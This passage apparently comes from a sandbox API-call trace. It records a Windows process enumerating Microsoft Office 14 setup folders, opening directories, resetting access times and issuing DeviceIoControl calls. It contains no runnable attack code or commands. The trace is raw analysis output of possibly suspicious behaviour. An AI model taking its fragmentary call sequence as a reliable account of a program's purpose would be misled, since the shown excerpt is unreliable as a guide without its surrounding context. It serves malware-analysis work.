(HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.465] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb288 [0049.465] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0049.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9e80 [0049.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeec838 [0049.465] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.465] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="")) returned 0 [0049.466] GetLastError () returned 0x12 [0049.466] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459c78 [0049.466] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0049.466] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.466] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="")) returned 1 [0049.466] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe09b760, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe09b760, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.XML", cAlternateFileName="")) returned 0 [0049.466] GetLastError () returned 0x12 [0049.466] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb180) returned 1 [0049.466] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0049.466] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb288) returned 1 [0049.466] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb078) returned 1 [0049.466] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNote.en-us", cAlternateFileName="")) returned 1 [0049.466] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb078 [0049.466] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us"), fInfoLevelId=0x0, lpFileInformation=0x17ae8cc | out: lpFileInformation=0x17ae8cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0049.702] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0049.704] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0049.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xeee0e8 [0049.706] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xeee0e8, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0xeee0e8, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0049.707] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeee0e8) returned 1 [0049.707] NtClose (Handle=0x174) returned 0x0 [0049.711] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb078) returned 1 [0049.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0049.713] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb078 [0049.714] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.714] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb288 [0049.715] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459c78 [0049.717] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.718] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58ed930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.XML", cAlternateFileName="")) returned 1 [0049.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.719] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.720] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.721] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb180 [0049.721] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0049.722] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9ea0 [0049.722] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeec940 [0049.723] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.723] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0049.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.724] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.725] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.725] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.726] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0049.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9ec0 [0049.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeca48 [0049.728] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0049.728] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0049.729] GetLastError () returned 0x12 [0049.729] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459cb8 [0049.731] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0050.127] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.127] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58ed930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.XML", cAlternateFileName="")) returned 1 [0050.127] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0050.127] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e0d4a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0050.127] GetLastError () returned 0x12 [0050.128] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb288) returned 1 [0050.128] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0050.128] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb180) returned 1 [0050.128] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb078) returned 1 [0050.128] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x302b0500, ftCreationTime.dwHighDateTime=0x1cba073, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x302b0500, ftLastWriteTime.dwHighDateTime=0x1cba073, nFileSizeHigh=0x0, nFileSizeLow=0x709b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSETUP.DLL", cAlternateFileName="")) returned 1 [0050.128] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x598fccf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0xb9a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSetupPS.dll", cAlternateFileName="")) returned 1 [0050.128] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook.en-us", cAlternateFileName="")) returned 1 [0050.128] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb078 [0050.128] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us"), fInfoLevelId=0x0, lpFileInformation=0x17ae8cc | out: lpFileInformation=0x17ae8cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0050.147] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0050.147] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0050.147] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xeee0e8 [0050.147] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xeee0e8, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0xeee0e8, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0050.147] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeee0e8) returned 1 [0050.147] NtClose (Handle=0x178) returned 0x0 [0050.147] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb078) returned 1 [0050.147] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.147] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0050.147] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb078 [0050.147] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb180 [0050.148] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459cb8 [0050.148] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.148] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee827f20, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.XML", cAlternateFileName="")) returned 1 [0050.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.148] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.148] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb288 [0050.148] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0050.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9ee0 [0050.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeecb50 [0050.148] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.148] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0050.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.148] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.148] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee9f00 [0050.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeecc58 [0050.148] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.148] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0050.149] GetLastError () returned 0x12 [0050.149] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459c78 [0050.149] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0050.149] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.149] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee827f20, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.XML", cAlternateFileName="")) returned 1 [0050.149] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0050.149] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0050.149] GetLastError () returned 0x12 [0050.149] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb180) returned 1 [0050.149] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0050.149] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb288) returned 1 [0050.149] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb078) returned 1 [0050.149] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="pidgenx.dll", cAlternateFileName="")) returned 1 [0050.149] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17eefe00, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0xbe99ad60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x17eefe00, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="")) returned 1 [0050.149] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, 